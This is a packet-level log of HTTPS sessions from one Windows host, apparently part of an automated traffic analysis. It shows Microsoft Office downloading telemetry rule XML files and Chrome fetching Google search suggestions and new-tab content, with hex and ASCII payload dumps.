2024-10-31 08:07:11 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:12 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f8a1f3da-c01e-0082-13cd-2aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080712Z-159b85dff8f6x4jjhC1DFW7uqg00000000u0000000008xkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:12 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 359c92e3-901e-0064-7ce8-28e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080712Z-17c5cb586f626sn8grcgm1gf8000000007ng00000000bw4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:12 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080712Z-16849878b78smng4k6nq15r6s40000000ar000000000asqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49722	142.250.184.228	443	3532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:12 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 08:07:13 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:13 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-lXKDtKoc8oEFa7OrtbbmYQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 08:07:13 UTC	112	IN	Data Raw: 63 62 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6b 65 79 6f 6e 20 6d 61 72 74 69 6e 20 6c 6f 75 69 73 69 61 6e 61 20 66 6f 6f 74 62 61 6c 6c 20 69 6e 6a 75 72 79 22 2c 22 73 75 72 76 69 76 6f 72 20 34 37 20 72 65 63 61 70 22 2c 22 6d 65 74 72 6f 6e 65 74 20 6f 75 74 61 67 65 73 22 2c 22 70 6f 6b c3 a9 6d 6f 6e 20 74 63 67 20 70 6f 63 Data Ascii: cb9)]}'["",["keyon martin louisiana football injury","survivor 47 recap","metronet outages","pokmon tcg poc
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 6b 65 74 22 2c 22 74 65 78 61 73 20 74 65 61 63 68 65 72 20 63 65 72 74 69 66 69 63 61 74 69 6f 6e 22 2c 22 68 61 77 61 69 69 20 73 6e 6f 77 69 6e 67 22 2c 22 70 72 69 6d 75 73 20 64 72 75 6d 6d 65 72 20 74 69 6d 20 61 6c 65 78 61 6e 64 65 72 20 6c 65 61 76 65 73 20 62 61 6e 64 22 2c 22 62 72 69 61 6e 20 74 68 6f 6d 61 73 20 6a 72 20 69 6e 6a 75 72 79 20 75 70 64 61 74 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d Data Ascii: ket","texas teacher certification","hawaii snowing","primus drummer tim alexander leaves band","brian thomas jr injury update"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vhcm
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 47 74 68 52 48 46 51 64 45 78 74 63 44 4e 68 54 6d 4e 72 57 6a 64 6a 54 55 73 34 4e 32 6f 7a 4c 30 46 44 4b 30 31 54 62 6a 4a 6c 64 44 4e 46 4e 33 5a 79 4c 32 52 53 61 57 52 55 51 31 4a 73 54 56 5a 73 65 6d 5a 68 63 46 56 6f 61 69 39 44 51 57 5a 73 4f 46 46 49 4c 31 42 49 51 33 52 42 64 47 73 76 57 69 39 31 63 54 6c 50 62 33 6f 7a 4d 48 70 68 55 54 46 52 4b 32 39 4c 52 6e 46 31 55 32 34 34 54 6d 46 6b 62 32 55 7a 4d 33 55 31 5a 58 6c 78 4d 54 63 79 53 48 5a 34 61 46 42 78 62 47 73 7a 59 57 64 69 54 79 38 32 4b 30 6f 33 63 56 70 58 56 48 68 6d 53 6e 42 6e 5a 57 45 79 51 56 56 4a 63 47 6c 46 56 6b 4a 72 65 48 4d 30 63 6b 68 56 61 6a 59 30 4e 30 77 31 56 57 5a 47 55 6b 35 4d 51 6a 68 52 61 54 64 70 53 7a 46 70 65 54 4a 4f 64 30 52 70 51 32 78 53 5a 57 68 50 Data Ascii: GthRHFQdExtcDNhTmNrWjdjTUs4N2ozL0FDK01TbjJldDNFN3ZyL2RSaWRUQ1JsTVZsemZhcFVoai9DQWZsOFFIL1BIQ3RBdGsvWi91cTlPb3ozMHphUTFRK29LRnF1U244TmFkb2UzM3U1ZXlxMTcySHZ4aFBxbGszYWdiTy82K0o3cVpXVHhmSnBnZWEyQVVJcGlFVkJreHM0ckhVajY0N0w1VWZGUk5MQjhRaTdpSzFpeTJOd0RpQ2xSZWhP
2024-10-31 08:07:13 UTC	396	IN	Data Raw: 76 5a 6d 78 55 59 56 64 34 56 54 41 78 56 32 31 70 64 45 46 32 59 6b 52 54 53 33 68 59 57 6a 42 79 57 6a 49 34 56 46 70 5a 4c 32 6c 52 56 32 67 72 53 55 6f 78 53 30 64 30 5a 6e 6c 75 52 6b 35 33 62 48 68 55 63 46 4d 79 57 56 5a 30 63 54 46 30 56 45 78 43 55 33 41 34 55 32 31 6d 64 6a 52 57 5a 6d 56 73 63 6a 59 32 63 57 6c 35 4e 33 46 76 4e 47 35 4a 56 56 4e 54 53 48 45 33 57 6b 35 6e 57 43 74 75 55 46 42 77 61 58 42 73 54 44 64 6b 61 58 4e 36 52 54 68 45 63 55 38 72 5a 7a 6c 56 59 33 52 36 63 6b 5a 31 56 6b 46 4c 56 55 4a 4c 61 6b 64 47 5a 46 55 72 5a 6d 6c 6d 55 33 51 33 53 32 52 46 57 6b 5a 54 51 30 64 59 54 45 74 74 63 46 64 31 61 56 42 56 62 46 68 4c 4e 55 35 36 57 57 63 72 56 46 70 6b 64 31 51 32 57 43 74 6c 52 58 46 48 5a 58 70 35 61 7a 56 77 4e 32 Data Ascii: vZmxUYVd4VTAxV21pdEF2YkRTS3hYWjByWjI4VFpZL2lRV2grSUoxS0d0ZnluRk53bHhUcFMyWVZ0cTF0VExCU3A4U21mdjRWZmVscjY2cWl5N3FvNG5JVVNTSHE3Wk5nWCtuUFBwaXBsTDdkaXN6RThEcU8rZzlVY3R6ckZ1VkFLVUJLakdGZFUrZmlmU3Q3S2RFWkZTQ0dYTEttcFd1aVBVbFhLNU56WWcrVFpkd1Q2WCtlRXFHZXp5azVwN2
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 38 38 62 0d 0a 48 42 4c 4d 57 6f 7a 5a 30 6c 74 63 30 4a 78 61 56 56 75 56 55 68 42 61 6a 4e 56 63 55 6c 4e 52 47 6c 54 54 31 49 32 61 7a 42 4b 63 44 5a 48 53 30 78 54 64 32 74 6f 4c 30 4a 4d 62 58 42 61 59 6a 68 78 54 7a 42 4f 64 6d 39 69 4e 44 52 6d 59 54 4d 7a 55 55 68 6f 4f 44 59 79 62 6e 4e 7a 63 32 74 75 5a 48 6c 4b 53 44 5a 57 63 32 52 36 59 6b 5a 35 59 6d 56 45 56 33 5a 4e 51 32 6f 7a 59 6b 68 6e 53 33 70 44 52 31 70 77 56 44 46 54 59 6d 46 6b 63 55 78 74 4d 54 59 78 54 69 39 69 65 57 35 47 59 79 39 33 51 54 4a 51 53 32 64 6b 56 6c 4a 30 59 6d 6c 76 65 57 6c 7a 62 48 4a 34 53 47 46 57 62 57 52 4a 5a 57 67 77 64 6a 68 42 61 48 4e 44 59 6d 6f 31 59 7a 52 51 56 58 6c 6e 54 6d 74 53 65 69 74 30 57 58 41 32 4e 47 56 52 4e 6d 68 54 61 6b 39 36 61 6e 6b Data Ascii: 88bHBLMWozZ0ltc0JxaVVuVUhBajNVcUlNRGlTT1I2azBKcDZHS0xTd2toL0JMbXBaYjhxTzBOdm9iNDRmYTMzUUhoODYybnNzc2tuZHlKSDZWc2R6YkZ5YmVEV3ZNQ2ozYkhnS3pDR1pwVDFTYmFkcUxtMTYxTi9ieW5GYy93QTJQS2dkVlJ0YmlveWlzbHJ4SGFWbWRJZWgwdjhBaHNDYmo1YzRQVXlnTmtSeit0WXA2NGVRNmhTak96ank
2024-10-31 08:07:13 UTC	816	IN	Data Raw: 31 73 55 6c 5a 33 56 48 68 79 51 58 4e 49 5a 6b 6c 4e 62 46 51 7a 52 33 52 44 65 48 4e 4a 4d 6b 70 7a 59 6c 64 30 4f 56 52 70 59 6a 64 53 62 57 4a 6b 65 48 41 78 59 54 56 44 51 6b 46 55 64 45 64 53 62 6d 56 50 62 6b 31 70 54 32 6c 52 53 55 46 4f 5a 44 4a 4f 4b 7a 56 6b 62 46 52 68 52 58 68 51 53 33 41 30 55 44 52 6d 4d 44 6c 55 4d 55 5a 57 4e 57 78 75 64 45 35 77 63 6b 30 32 61 57 31 75 55 6b 31 35 62 47 70 61 64 32 73 77 59 33 68 48 65 6c 64 31 63 6c 68 47 61 69 74 47 55 6a 6c 4d 57 55 64 6b 4d 44 56 58 63 48 52 43 55 30 68 50 65 6b 56 71 51 56 4e 45 62 45 70 4e 53 31 4e 61 51 6b 68 4b 62 6e 68 72 4f 56 52 53 52 47 6f 30 63 7a 4e 4f 63 46 52 31 53 6b 55 31 54 55 56 55 52 30 52 36 4d 31 6b 34 53 30 52 35 61 58 4e 54 64 44 42 32 54 6b 70 47 51 57 74 46 56 Data Ascii: 1sUlZ3VHhyQXNIZklNbFQzR3RDeHNJMkpzYld0OVRpYjdSbWJkeHAxYTVDQkFUdEdSbmVPbk1pT2lRSUFOZDJOKzVkbFRhRXhQS3A0UDRmMDlUMUZWNWxudE5wck02aW1uUk15bGpad2swY3hHeld1clhGaitGUjlMWUdkMDVXcHRCU0hPekVqQVNEbEpNS1NaQkhKbnhrOVRSRGo0czNOcFR1SkU1TUVUR0R6M1k4S0R5aXNTdDB2TkpGQWtFV
2024-10-31 08:07:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:12 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 73421f5c-b01e-001e-1796-2a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080712Z-159b85dff8f7lrfphC1DFWfw080000000140000000002mf2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:13 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:12 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080712Z-16849878b78xblwksrnkakc08w00000008hg000000005hmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49731	142.250.184.228	443	3532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:13 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49732	142.250.184.228	443	3532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:13 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 08:07:13 UTC	1042	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 08:07:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 08:07:13 UTC	336	IN	Data Raw: 32 31 64 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 21d3)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader 